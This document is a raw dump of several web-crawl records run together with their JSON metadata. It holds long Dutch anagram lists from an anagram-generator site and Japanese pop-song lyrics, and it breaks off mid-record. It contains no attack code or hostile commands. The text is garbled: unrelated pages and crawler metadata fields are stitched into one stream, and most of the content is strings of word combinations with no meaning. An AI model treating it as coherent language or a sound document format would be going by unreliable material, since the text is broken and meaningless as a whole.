dag gul na vale kuberen dag gul na vela kuberen alge dag na vul kuberen dag lage na vul kuberen deug lag na vla kuberen deug lag na val kuberen gul lag na veda kuberen gade lag na vul kuberen alg deug na vla kuberen alg deug na val kuberen alg gul na veda kuberen alg gade na vul kuberen deug gal na vla kuberen deug gal na val kuberen gal gul na veda kuberen gade gal na vul kuberen duel gag na vla kuberen gade gul na vla kuberen duel gag na val kuberen gade gul na val kuberen gag lul na veda kuberen adel gag na vul kuberen deal gag na vul kuberen gag lade na vul kuberen al dun eva galg kuberen al eva glad gun kuberen al den gul vaag kuberen al den gaga vul kuberen al end gul vaag kuberen al end gaga vul kuberen al daag eng vul kuberen al daag gen vul kuberen al del gun vaag kuberen al gun led vaag kuberen al dan gul vage kuberen al dan gave gul kuberen al dan gage vul kuberen al daag gul ven kuberen al dun gel vaag kuberen al dun leg vaag kuberen al dal gun vage kuberen al dal gave gun kuberen al dun gaga vel kuberen al daag gun vel kuberen al dag geul van kuberen al deug lag van kuberen al alg deug van kuberen al deug gal van kuberen al duel gag van kuberen al gade gul van kuberen al dag nul vage kuberen al dag gave nul kuberen al dag gun vale kuberen al dag gun vela kuberen al dun lag vage kuberen al dun gave lag kuberen al gun lag veda kuberen al alg dun vage kuberen al alg dun gave kuberen al alg gun veda kuberen al dun gal vage kuberen al dun gal gave kuberen al gal gun veda kuberen al dun gage vla kuberen al deun gag vla kuberen al gade gun vla kuberen al dun gage val kuberen al deun gag val kuberen al gade gun val kuberen al dun gag vale kuberen al dun gag vela kuberen al gag nul veda kuberen dun eva galg la kuberen eva glad gun la kuberen den gul la vaag kuberen den gaga la vul kuberen end gul la vaag kuberen end gaga la vul kuberen daag eng la vul kuberen daag gen la vul kuberen del gun la vaag kuberen gun la led vaag kuberen dan gul la vage kuberen dan gave gul la kuberen dan gage la vul kuberen daag gul la ven kuberen dun gel la vaag kuberen dun la leg vaag kuberen dal gun la vage kuberen dal gave gun la kuberen dun gaga la vel kuberen daag gun la vel kuberen dag geul la van kuberen deug la lag van kuberen alg deug la van kuberen deug gal la van kuberen duel gag la van kuberen gade gul la van kuberen dag la nul vage kuberen dag gave la nul kuberen dag gun la vale kuberen dag gun la vela kuberen dun la lag vage kuberen dun gave la lag kuberen gun la lag veda kuberen alg dun la vage kuberen alg dun gave la kuberen alg gun la veda kuberen dun gal la vage kuberen dun gal gave la kuberen gal gun la veda kuberen dun gage la vla kuberen deun gag la vla kuberen gade gun la vla kuberen dun gage la val kuberen deun gag la val kuberen gade gun la val kuberen dun gag la vale kuberen dun gag la vela kuberen gag la nul veda kuberen au den lag vlag kuberen alg au den vlag kuberen au den gal vlag kuberen au den galg vla kuberen au den galg val kuberen au end lag vlag kuberen alg au end vlag kuberen au end gal vlag kuberen au end galg vla kuberen au end galg val kuberen au dag nel vlag kuberen au dal eng vlag kuberen au eng glad vla kuberen au eng glad val kuberen au dal gen vlag kuberen au gen glad vla kuberen au gen glad val kuberen au del galg van kuberen au del lag vang kuberen alg au del vang kuberen au del gal vang kuberen au del gang vla kuberen au del gang val kuberen au galg led van kuberen au lag led vang kuberen alg au led vang kuberen au gal led vang kuberen au gang led vla kuberen au gang led val kuberen au dan gel vlag kuberen au dan leg vlag kuberen au dan galg vel kuberen au dan lag velg kuberen alg au dan velg kuberen au dan gal velg kuberen au dal galg ven kuberen au glad lag ven kuberen alg au glad ven kuberen au gal glad ven kuberen au dag lel vang kuberen au dal gel vang kuberen au gel glad van kuberen au dal leg vang kuberen au glad leg van kuberen au dal gang vel kuberen au dag lang vel kuberen au gag land vel kuberen au delg lag van kuberen au geld lag van kuberen alg au delg van kuberen alg au geld van kuberen au delg gal van kuberen au gal geld van kuberen au dag leng vla kuberen au dag leng val kuberen aan del ga vlug kuberen aan ga led vlug kuberen aan ga gul veld kuberen aan delg ga vul kuberen aan ga geld vul kuberen eva ga glad nul kuberen eva ga gul land kuberen aal den ga vlug kuberen den ga lul vaag kuberen aval den ga gul kuberen den ga gul vaal kuberen den ga gul lava kuberen den ga laag vul kuberen den ga gala vul kuberen den ga gaal vul kuberen aal end ga vlug kuberen end ga lul vaag kuberen aval end ga gul kuberen end ga gul vaal kuberen end ga gul lava kuberen end ga laag vul kuberen end ga gala vul kuberen end ga gaal vul kuberen aal dun ga velg kuberen aal ga gun veld kuberen daag ga nel vul kuberen eng ga laad vul kuberen daal eng ga vul kuberen ga gen laad vul kuberen daal ga gen vul kuberen del ga nul vaag kuberen aval del ga gun kuberen del ga gun vaal kuberen del ga gun lava kuberen del ga gul vaan kuberen del ga gaan vul kuberen del ga naga vul kuberen ga led nul vaag kuberen aval ga gun led kuberen ga gun led vaal kuberen ga gun lava led kuberen ga gul led vaan kuberen ga gaan led vul kuberen ga led naga vul kuberen dan ga geul vla kuberen dan ga geul val kuberen dan ga lul vage kuberen dan ga gave lul kuberen dan ga gul vale kuberen dan ga gul vela kuberen alge dan ga vul kuberen dan ga lage vul kuberen daag ga lul ven kuberen ga gul laad ven kuberen daal ga gul ven kuberen dun ga lel vaag kuberen aval dun ga gel kuberen dun ga gel vaal kuberen dun ga gel lava kuberen ga gel naad vul kuberen aval dun ga leg kuberen dun ga leg vaal kuberen dun ga lava leg kuberen ga leg naad vul kuberen dal ga geul van kuberen dal ga nul vage kuberen dal ga gave nul kuberen dal ga gun vale kuberen dal ga gun vela kuberen dun ga laag vel kuberen dun ga gala vel kuberen dun ga gaal vel kuberen daag ga nul vel kuberen ga gun laad vel kuberen daal ga gun vel kuberen ga gul naad vel kuberen deug ga lal van kuberen duel ga lag van kuberen alg duel ga van kuberen duel ga gal van kuberen ga gade lul van kuberen adel ga gul van kuberen deal ga gul van kuberen ga gul lade van kuberen dun ga lal vage kuberen dun ga gave lal kuberen ga gun lal veda kuberen dag ga leun vla kuberen dag ga leun val kuberen dag ga nul vale kuberen dag ga nul vela kuberen dag elan ga vul kuberen alen dag ga vul kuberen deun ga lag vla kuberen deun ga lag val kuberen dun ga lag vale kuberen dun ga lag vela kuberen ga lag nul veda kuberen alg deun ga vla kuberen alg deun ga val kuberen alg dun ga vale kuberen alg dun ga vela kuberen alg ga nul veda kuberen deun ga gal vla kuberen deun ga gal val kuberen dun ga gal vale kuberen dun ga gal vela kuberen ga gal nul veda kuberen alge dun ga vla kuberen dun ga lage vla kuberen ga gade nul vla kuberen adel ga gun vla kuberen deal ga gun vla kuberen ga gun lade vla kuberen alge dun ga val kuberen dun ga lage val kuberen ga gade nul val kuberen adel ga gun val kuberen deal ga gun val kuberen ga gun lade val kuberen dal eva galg nu kuberen eva glad lag nu kuberen alg eva glad nu kuberen eva gal glad nu kuberen aal dag nu velg kuberen aal gag nu veld kuberen del lag nu vaag kuberen alg del nu vaag kuberen del gal nu vaag kuberen del gaga nu vla kuberen del gaga nu val kuberen aval del gag nu kuberen del gag nu vaal kuberen del gag lava nu kuberen lag led nu vaag kuberen alg led nu vaag kuberen gal led nu vaag kuberen gaga led nu vla kuberen gaga led nu val kuberen aval gag led nu kuberen gag led nu vaal kuberen gag lava led nu kuberen dag lel nu vaag kuberen dal gel nu vaag kuberen aval dag gel nu kuberen dag gel nu vaal kuberen dag gel lava nu kuberen daag gel nu vla kuberen daag gel nu val kuberen dal leg nu vaag kuberen aval dag leg nu kuberen dag leg nu vaal kuberen dag lava leg nu kuberen daag leg nu vla kuberen daag leg nu val kuberen dal gaga nu vel kuberen dal lag nu vage kuberen dal gave lag nu kuberen alg dal nu vage kuberen alg dal gave nu kuberen dal gal nu vage kuberen dal gal gave nu kuberen dal gage nu vla kuberen dal gage nu val kuberen dal gag nu vale kuberen dal gag nu vela kuberen dag laag nu vel kuberen dag gala nu vel kuberen dag gaal nu vel kuberen daag lag nu vel kuberen alg daag nu vel kuberen daag gal nu vel kuberen gag laad nu vel kuberen daal gag nu vel kuberen dag lal nu vage kuberen dag gave lal nu kuberen gag lal nu veda kuberen dag lag nu vale kuberen dag lag nu vela kuberen alg dag nu vale kuberen alg dag nu vela kuberen dag gal nu vale kuberen dag gal nu vela kuberen alge dag nu vla kuberen dag lage nu vla kuberen alge dag nu val kuberen dag lage nu val kuberen lag lag nu veda kuberen alg lag nu veda kuberen gal lag nu veda kuberen gade lag nu vla kuberen gade lag nu val kuberen alg alg nu veda kuberen alg gal nu veda kuberen alg gade nu vla kuberen alg gade nu val kuberen gal gal nu veda kuberen gade gal nu vla kuberen gade gal nu val kuberen adel gag nu vla kuberen deal gag nu vla kuberen gag lade nu vla kuberen adel gag nu val kuberen deal gag nu val kuberen gag lade nu val kuberen al daag en vlug kuberen daag en la vlug kuberen au en glad vlag kuberen en ga laad vlug kuberen daal en ga vlug kuberen de laag na vlug kuberen de gala na vlug kuberen de gaal na vlug kuberen al de gaan vlug kuberen al de naga vlug kuberen de gaan la vlug kuberen de la naga vlug kuberen au de lang vlag kuberen de ga laan vlug kuberen de laag nu vlag kuberen de gala nu vlag kuberen de gaal nu vlag kuberen aval de galg nu kuberen de galg nu vaal kuberen de galg lava nu kuberen daag el na vlug kuberen au el glad vang kuberen el ga naad vlug kuberen daag el nu vlag kuberen el glad nu vaag kuberen al gade na vlug kuberen al deug na vlag kuberen gade la na vlug kuberen deug la na vlag kuberen au delg na vlag kuberen au geld na vlag kuberen au galg na veld kuberen au glad na velg kuberen adel ga na vlug kuberen deal ga na vlug kuberen ga lade na vlug kuberen duel ga na vlag kuberen al al deug vang kuberen al deug la vang kuberen al au delg vang kuberen al au geld vang kuberen al au gang veld kuberen al deun ga vlag kuberen al duel ga vang kuberen al gade nu vlag kuberen al galg nu veda kuberen al daag nu velg kuberen al glad nu vage kuberen al gave glad nu kuberen al gaga nu veld kuberen al delg nu vaag kuberen al geld nu vaag kuberen deug la la vang kuberen au delg la vang kuberen au geld la vang kuberen au gang la veld kuberen deun ga la vlag kuberen duel ga la vang kuberen gade la nu vlag kuberen galg la nu veda kuberen daag la nu velg kuberen glad la nu vage kuberen gave glad la nu kuberen gaga la nu veld kuberen delg la nu vaag kuberen geld la nu vaag kuberen au ga land velg kuberen au ga lang veld kuberen adel ga nu vlag kuberen deal ga nu vlag kuberen ga lade nu vlag kuberen ga laad nu velg kuberen daal ga nu velg kuberen ga glad nu vale kuberen ga glad nu vela kuberen ga laag nu veld kuberen ga gala nu veld kuberen ga gaal nu veld kuberen aval delg ga nu kuberen aval ga geld nu kuberen delg ga nu vaal kuberen ga geld nu vaal kuberen delg ga lava nu kuberen ga geld lava nu kuberen de gul na vlaag kuberen al de gun vlaag kuberen de gun la vlaag kuberen de ga nul vlaag kuberen de lag nu vlaag kuberen alg de nu vlaag kuberen de gal nu vlaag kuberen dun el ga vlaag kuberen el ga gaand vul kuberen dag el nu vlaag kuberen al dag na vleug kuberen al duvel gag na kuberen al gag na vulde kuberen al gedag na vul kuberen al dagge na vul kuberen dag la na vleug kuberen duvel gag la na kuberen gag la na vulde kuberen gedag la na vul kuberen dagge la na vul kuberen dal ga na vleug kuberen duvel ga lag na kuberen ga lag na vulde kuberen alg duvel ga na kuberen alg ga na vulde kuberen duvel ga gal na kuberen ga gal na vulde kuberen ga gul na vlade kuberen ga galde na vul kuberen al al gag vendu kuberen al gag la vendu kuberen al dan ga vleug kuberen al ga lag vendu kuberen al alg ga vendu kuberen al ga gal vendu kuberen al ga gunde vla kuberen al ga gunde val kuberen al dun ga geval kuberen al ga gun vlade kuberen al ga gaden vul kuberen al dagen ga vul kuberen al dag geval nu kuberen al gedag nu vla kuberen al dagge nu vla kuberen al gedag nu val kuberen al dagge nu val kuberen al gag nu vlade kuberen gag la la vendu kuberen dan ga la vleug kuberen ga la lag vendu kuberen alg ga la vendu kuberen ga gal la vendu kuberen ga gunde la vla kuberen ga gunde la val kuberen dun ga geval la kuberen ga gun la vlade kuberen ga gaden la vul kuberen dagen ga la vul kuberen dag geval la nu kuberen gedag la nu vla kuberen dagge la nu vla kuberen gedag la nu val kuberen dagge la nu val kuberen gag la nu vlade kuberen ga ga lulde van kuberen ga ga lal vendu kuberen ga ga nulde vla kuberen ga ga nulde val kuberen ga ga nul vlade kuberen dalen ga ga vul kuberen ga ga lande vul kuberen ga ga laden vul kuberen eland ga ga vul kuberen del ga nu vlaag kuberen ga led nu vlaag kuberen dal ga geval nu kuberen ga lag nu vlade kuberen alg ga nu vlade kuberen ga gal nu vlade kuberen ga galde nu vla kuberen ga galde nu val Anagrammen van valkenburg aan de geul met kuberen - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.anagrammen.com\/van\/valkenburg+aan+de+geul\/met\/kuberen","date":"2021-04-23T17:52:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039596883.98\/warc\/CC-MAIN-20210423161713-20210423191713-00052.warc.gz","language":"mmx","language_score":0.6928077936,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.6928077936172485, \"bmh_Latn_score\": 0.14672809839248657, \"bps_Latn_score\": 0.06772258132696152, \"syb_Latn_score\": 0.018988575786352158, \"lmo_Latn_score\": 0.017140906304121017, \"zpo_Latn_score\": 0.013513827696442604}","num_words":5101,"character_repetition_ratio":0.282,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":0.692,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"歌詞\n意外と負けず嫌い ムキになると可愛い 嘘が下手 すぐ顔に出るタイプ 完璧じゃないとこも 裏表ないとこも 知るたびにもっと好き 君といると楽しい ちょっとずつ近づいてく 二人の距離縮まってる 変わってく私のこと もっと君に見てほしい LA LA LA Look at me now (Look at me now) LA LA LA Look what I found (Look what I found) スマホじゃなくて私を見て LA LA LA look at me! LA LA LA look at me! LA LA LA Look at me now LA LA LA Look what I found (Look what I found) 君が選んでくれるのなら LA LA LA look at me! LA LA LA look at me! LA LA LA Look at me now 短い恋ばかりで 変わることが怖くて そんなとき偶然君に出会った 誰とでも仲良くて みんなから慕われて 話すたび笑うたび もう目が離せない 黙ってちゃ何も起きない 飛び出さなきゃ 変わらないじゃない 自信はない けど構わない 今はただ見てほしい LA LA LA Look at me now (Look at me now) LA LA LA Look what I found (Look what I found) 誰かじゃなく私を見て LA LA LA look at me! LA LA LA look at me! LA LA LA Look at me now LA LA LA Look what I found 君が選んでくれるのなら LA LA LA look at me! LA LA LA look at me! LA LA LA Look at me now Look at all of the colors that I never saw before Look at all of the people out there dancing on the floor 目に映るもの 全て変わっていく ねぇ 見逃さないでね Don't close your eyes LA LA LA Look at me now (Look at me now) LA LA LA Look what I found (Look what I found) 誰かじゃなく私を見て LA LA LA look at me! LA LA LA look at me! LA LA LA Look at me now LA LA LA Look what I found 君が選んでくれるのなら LA LA LA look at me! LA LA LA look at me! LA LA LA Look at me now(Look at me now!)","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/music-tw.line.me\/track\/2053773001","date":"2021-06-21T22:19:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488504838.98\/warc\/CC-MAIN-20210621212241-20210622002241-00206.warc.gz","language":"mmx","language_score":0.473751843,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.47375184297561646, \"eng_Latn_score\": 0.14209000766277313, \"ach_Latn_score\": 0.10877762734889984, \"hat_Latn_score\": 0.03773566335439682, \"tll_Latn_score\": 0.018869617953896523, \"kri_Latn_score\": 0.01292662788182497, \"mos_Latn_score\": 0.012563514523208141, \"nus_Latn_score\": 0.011561160907149315}","num_words":271,"character_repetition_ratio":0.252,"word_repetition_ratio":0.641,"special_characters_ratio":0.241,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":0.774,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van paul rosenmoller met het woord 'romen' romen pulls realo romen orale pulls romen lullo parse romen oplas rulle romen opsla rulle romen lullos pare romen lullos rape romen allure pols romen allure slop romen laures poll romen eloras pull romen leoras pull romen pull realos romen plurale sol romen los plurale romen allures pol romen era pull sol romen era los pull romen era lol puls romen era lol plus romen era lol spul romen era lus poll romen era poll sul romen era lul pols romen era lul slop romen are pull sol romen are los pull romen are lol puls romen are lol plus romen are lol spul romen are lus poll romen are poll sul romen are lul pols romen are lul slop romen pull roe sla romen als pull roe romen las pull roe romen lal puls roe romen lal plus roe romen lal roe spul romen lul roe slap romen lul plas roe romen oer pull sla romen als oer pull romen las oer pull romen lal oer puls romen lal oer plus romen lal oer spul romen lul oer slap romen lul oer plas romen aso pull rel romen aso lel prul romen pull rel soa romen lel prul soa romen allo pur sel romen allo els pur romen allo les pur romen lal opus rel romen lol paus rel romen alp rel soul romen pal rel soul romen lap rel soul romen lul opas rel romen lul rel soap romen allo pus rel romen allo rel ups romen laos pul rel romen laos plu rel romen poll reu sla romen als poll reu romen las poll reu romen lal pols reu romen lal reu slop romen lol reu slap romen lol plas reu romen lel opus ral romen lel paus rol romen lel lor paus romen lel par soul romen lel rap soul romen lel opas rul romen lel rul soap romen laos lel pur romen lol peul ras romen lul poel ras romen loep lul ras romen lol peul sar romen lul poel sar romen loep lul sar romen allo esp rul romen peul rol sla romen lor peul sla romen lol peur sla romen lol pure sla romen leur pol sla romen poel rul sla romen loep rul sla romen erop lul sla romen lul roep sla romen lul poer sla romen loer pul sla romen loer plu sla romen als peul rol romen als lor peul romen als lol peur romen als lol pure romen als leur pol romen als poel rul romen als loep rul romen als erop lul romen als lul roep romen als lul poer romen als loer pul romen als loer plu romen las peul rol romen las lor peul romen las lol peur romen las lol pure romen las leur pol romen las poel rul romen las loep rul romen erop las lul romen las lul roep romen las lul poer romen las loer pul romen las loer plu romen lal peul ros romen alle pul ros romen alle plu ros romen lal ors peul romen alle ors pul romen alle ors plu romen lal pre soul romen allo lus pre romen allo pre sul romen laos lul pre romen lal rep soul romen allo lus rep romen allo rep sul romen laos lul rep romen lal per soul romen allo lus per romen allo per sul romen laos lul per romen peul ral sol romen los peul ral romen pel ral soul romen lep ral soul romen lues pol ral romen leus pol ral romen lus poel ral romen loep lus ral romen poel ral sul romen loep ral sul romen lul ral soep romen lul pose ral romen lul peso ral romen lul poes ral romen epos lul ral romen lul oeps ral romen lal peur sol romen lal pure sol romen alp leur sol romen leur pal sol romen lap leur sol romen lul pare sol romen lul rape sol romen alle pur sol romen lal los peur romen lal los pure romen alp leur los romen leur los pal romen lap leur los romen los lul pare romen los lul rape romen alle los pur romen allo pel rus romen laos pel rul romen allo lep rus romen laos lep rul romen lal leur pos romen lal leur sop romen lal lues pro romen lal leus pro romen lal lues por romen lal leus por romen lal pol reus romen lal poel rus romen lal loep rus romen erop lal lus romen lal lus roep romen lal lus poer romen erop lal sul romen lal roep sul romen lal poer sul romen lal rul soep romen lal pose rul romen lal peso rul romen lal poes rul romen epos lal rul romen lal oeps rul romen lal loer pus romen lal loer ups romen eros lal pul romen lal pul roes romen lal pul rose romen eros lal plu romen lal plu roes romen lal plu rose romen alp lues rol romen alp leus rol romen lues pal rol romen leus pal rol romen lap lues rol romen lap leus rol romen alle pus rol romen alle rol ups romen pul rol seal romen pul rol sela romen plu rol seal romen plu rol sela romen alp lor lues romen alp leus lor romen lor lues pal romen leus lor pal romen lap lor lues romen lap leus lor romen alle lor pus romen alle lor ups romen lor pul seal romen lor pul sela romen lor plu seal romen lor plu sela romen leur lol sap romen loer lul sap romen leur lol spa romen loer lul spa romen leur lol pas romen loer lul pas romen lol lues par romen leus lol par romen lol lues rap romen leus lol rap romen alp lol reus romen lol pal reus romen lap lol reus romen lol lus pare romen lol lus rape romen lol pare sul romen lol rape sul romen lol pur seal romen lol pur sela romen eras lol pul romen lol pul sera romen eras lol plu romen lol plu sera romen alle pos rul romen alle rul sop romen alp loer lus romen alp loer sul romen alp eros lul romen alp lul roes romen alp lul rose romen loer lus pal romen loer pal sul romen eros lul pal romen lul pal roes romen lul pal rose romen lap loer lus romen lap loer sul romen eros lap lul romen lap lul roes romen lap lul rose romen alle lus pro romen alle pro sul romen lul pro seal romen lul pro sela romen alle lus por romen alle por sul romen lul por seal romen lul por sela romen alle pol rus romen pol rul seal romen pol rul sela romen eras lul pol romen lul pol sera romen er lullos pa romen es lullo par romen es lullo rap romen er lullo sap romen er lullo spa romen er lullo pas romen er lul oplas romen er lul opsla romen el oplas rul romen el opsla rul romen as lullo pre romen as lullo rep romen as lullo per romen as lol pleur romen as pol rulle romen as loper lul romen lal os pleur romen alp os rulle romen os pal rulle romen lap os rulle romen lapel os rul romen lul os parel romen lepra lul os romen aller os pul romen aller os plu romen al pulls roe romen al oer pulls romen al polls reu romen al pleur sol romen al los pleur romen al lol speur romen al lol super romen al pos rulle romen al rulle sop romen al pol sleur romen al loper lus romen al loper sul romen al rul spoel romen al rul sloep romen al lul spore romen al loser pul romen al loser plu romen la pulls roe romen la oer pulls romen la polls reu romen la pleur sol romen la los pleur romen la lol speur romen la lol super romen la pos rulle romen la rulle sop romen la pol sleur romen la loper lus romen la loper sul romen la rul spoel romen la rul sloep romen la lul spore romen la loser pul romen la loser plu romen au polls rel romen au lel slorp romen pa rulle sol romen los pa rulle romen lol pa sleur romen loser lul pa romen op rulle sla romen als op rulle romen las op rulle romen lal op sleur romen aller lus op romen aller op sul romen alles op rul romen earls lul op romen laser lul op romen po rulle sla romen als po rulle romen las po rulle romen lal po sleur romen aller lus po romen aller po sul romen alles po rul romen earls lul po romen laser lul po romen aller sol up romen aller los up romen lal loser up romen alles rol up romen alles lor up romen earls lol up romen laser lol up romen allo es prul romen er laos pull romen allo er puls romen allo er plus romen allo er spul romen el laos prul romen allo el rups romen as loer pull romen as leur poll romen alle os prul romen al eros pull romen al pull roes romen al pull rose romen al loer puls romen al loer plus romen al loer spul romen al poll reus romen al lues prol romen al leus prol romen al leur pols romen al leur slop romen eros la pull romen la pull roes romen la pull rose romen la loer puls romen la loer plus romen la loer spul romen la poll reus romen la lues prol romen la leus prol romen la leur pols romen la leur slop romen al es pul rol romen al es plu rol romen al es lor pul romen al es lor plu romen al es lol pur romen al es lul pro romen al es lul por romen al es pol rul romen es la pul rol romen es la plu rol romen es la lor pul romen es la lor plu romen es la lol pur romen es la lul pro romen es la lul por romen es la pol rul romen es lul pa rol romen es lor lul pa romen es lol pa rul romen es lul op ral romen es lal op rul romen es lul po ral romen es lal po rul romen es lol ral up romen es lal rol up romen es lal lor up romen as er lol pul romen as er lol plu romen as er lul pol romen er lal os pul romen er lal os plu romen alp er lul os romen er lul os pal romen er lap lul os romen al er pul sol romen al er plu sol romen al er los pul romen al er los plu romen al er lol pus romen al er lol ups romen al er lul pos romen al er lul sop romen al er lus pol romen al er pol sul romen er la pul sol romen er la plu sol romen er la los pul romen er la los plu romen er la lol pus romen er la lol ups romen er la lul pos romen er la lul sop romen er la lus pol romen er la pol sul romen er lul pa sol romen er los lul pa romen er lol lus pa romen er lol pa sul romen er lul op sla romen als er lul op romen er las lul op romen er lal lus op romen er lal op sul romen er lul po sla romen als er lul po romen er las lul po romen er lal lus po romen er lal po sul romen er lol sla up romen als er lol up romen er las lol up romen er lal sol up romen er lal los up romen as el pul rol romen as el plu rol romen as el lor pul romen as el lor plu romen as el lol pur romen as el lul pro romen as el lul por romen as el pol rul romen el os pul ral romen el os plu ral romen el lal os pur romen el lul os par romen el lul os rap romen alp el os rul romen el os pal rul romen el lap os rul romen al el pul ros romen al el plu ros romen al el ors pul romen al el ors plu romen al el pur sol romen al el los pur romen al el pus rol romen al el rol ups romen al el lor pus romen al el lor ups romen al el pos rul romen al el rul sop romen al el lus pro romen al el pro sul romen al el lus por romen al el por sul romen al el pol rus romen el la pul ros romen el la plu ros romen el la ors pul romen el la ors plu romen el la pur sol romen el la los pur romen el la pus rol romen el la rol ups romen el la lor pus romen el la lor ups romen el la pos rul romen el la rul sop romen el la lus pro romen el la pro sul romen el la lus por romen el la por sul romen el la pol rus romen el lul pa ros romen el lul ors pa romen el pa rul sol romen el los pa rul romen el lus pa rol romen el pa rol sul romen el lor lus pa romen el lor pa sul romen el lol pa rus romen el lul op ras romen el lul op sar romen el op rul sla romen als el op rul romen el las op rul romen el lus op ral romen el op ral sul romen el lal op rus romen el lul po ras romen el lul po sar romen el po rul sla romen als el po rul romen el las po rul romen el lus po ral romen el po ral sul romen el lal po rus romen el lol ras up romen el lol sar up romen el rol sla up romen el lor sla up romen als el rol up romen als el lor up romen el las rol up romen el las lor up romen el lal ros up romen el lal ors up romen el ral sol up romen el los ral up romen as lul op rel romen as lel op rul romen as lul po rel romen as lel po rul romen as lol rel up romen as lel rol up romen as lel lor up romen al os pul rel romen al os plu rel romen al lel os pur romen al lul os pre romen al lul os rep romen al lul os per romen al os pel rul romen al lep os rul romen la os pul rel romen la os plu rel romen la lel os pur romen la lul os pre romen la lul os rep romen la lul os per romen la os pel rul romen la lep os rul romen lul os pa rel romen lel os pa rul romen lal os rel up romen lel os ral up romen al op rul sel romen al els op rul romen al les op rul romen al lus op rel romen al op rel sul romen al lel op rus romen al po rul sel romen al els po rul romen al les po rul romen al lus po rel romen al po rel sul romen al lel po rus romen al rol sel up romen al lor sel up romen al els rol up romen al els lor up romen al les rol up romen al les lor up romen al rel sol up romen al los rel up romen al lel ros up romen al lel ors up romen la op rul sel romen els la op rul romen la les op rul romen la lus op rel romen la op rel sul romen la lel op rus romen la po rul sel romen els la po rul romen la les po rul romen la lus po rel romen la po rel sul romen la lel po rus romen la rol sel up romen la lor sel up romen els la rol up romen els la lor up romen la les rol up romen la les lor up romen la rel sol up romen la los rel up romen la lel ros up romen la lel ors up Anagrammen van paul rosenmoller met romen - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.anagrammen.com\/van\/paul+rosenmoller\/met\/romen","date":"2021-12-08T10:46:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363465.47\/warc\/CC-MAIN-20211208083545-20211208113545-00408.warc.gz","language":"mmx","language_score":0.6889565587,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.6889565587043762, \"upv_Latn_score\": 0.051826365292072296, \"yli_Latn_score\": 0.0410923957824707, \"bjp_Latn_score\": 0.03648628294467926, \"gmh_Latn_score\": 0.03309248760342598, \"rmy_Latn_score\": 0.023365866392850876, \"mgm_Latn_score\": 0.02166096679866314, \"whg_Latn_score\": 0.012041515670716763}","num_words":2811,"character_repetition_ratio":0.176,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.033,"flagged_words_ratio":0.0,"lang_id_score":0.69,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van raad van state met het woord 'avas' avas raad tent avas daar tent avas aard tent avas aten dart avas aten trad avas ante dart avas ante trad avas date tarn avas date nart avas redt taan avas taan tred avas data rent avas adat rent avas nadar tet avas ent raadt avas aardt ent avas raadt ten avas aardt ten avas net raadt avas aardt net avas nadat ter avas nat tarde avas adert nat avas era tandt avas are tandt avas daten rat avas art daten avas daten tra avas dat raten avas end taart avas den taart avas der taant avas red taant avas datet nar avas dan ratte avas dan tetra avas dan tater avas dra tante avas dra natte avas dar tante avas dar natte avas rad tante avas natte rad avas at darten avas at nadert avas at tarnde avas at traden avas de tantra avas de tartan avas de traant avas dartte na avas at rand te avas dart na te avas na te trad avas at at nerd avas at dart en avas at en trad avas at er tand avas at de tarn avas at de nart avas at na redt avas at na tred avas de na tart avas dra nat te avas dar nat te avas nat rad te avas dan rat te avas art dan te avas dan te tra avas dat nar te avas at dra ent avas at dar ent avas at ent rad avas at dra ten avas at dar ten avas at rad ten avas at dra net avas at dar net avas at net rad avas at dan ter avas at der nat avas at nat red avas at end rat avas at den rat avas art at end avas art at den avas at end tra avas at den tra avas at dat ren avas dat en rat avas art dat en avas dat en tra avas dat er nat avas de nat rat avas art de nat avas de nat tra avas dra na tet avas dar na tet avas na rad tet avas dat na ter Anagrammen van raad van state met avas - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.anagrammen.com\/van\/raad+van+state\/met\/avas","date":"2021-12-05T17:36:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363215.8\/warc\/CC-MAIN-20211205160950-20211205190950-00419.warc.gz","language":"mmx","language_score":0.34409073,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 0.3440907299518585, \"gmh_Latn_score\": 0.13843980431556702, \"lvs_Latn_score\": 0.07208359241485596, \"pan_Latn_score\": 0.03895201534032822, \"tvk_Latn_score\": 0.031104695051908493, \"sps_Latn_score\": 0.030168425291776657, \"nld_Latn_score\": 0.027039920911192894, \"ekk_Latn_score\": 0.025896111503243446, \"frp_Latn_score\": 0.02125680260360241, \"oci_Latn_score\": 0.01983623020350933, \"pma_Latn_score\": 0.01740446873009205, \"wol_Latn_score\": 0.01709052547812462, \"ckm_Latn_score\": 0.01413952186703682, \"lmk_Latn_score\": 0.012791944667696953, \"byx_Latn_score\": 0.01203893218189478, \"kmd_Latn_score\": 0.011132089421153069}","num_words":391,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":0.328,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het 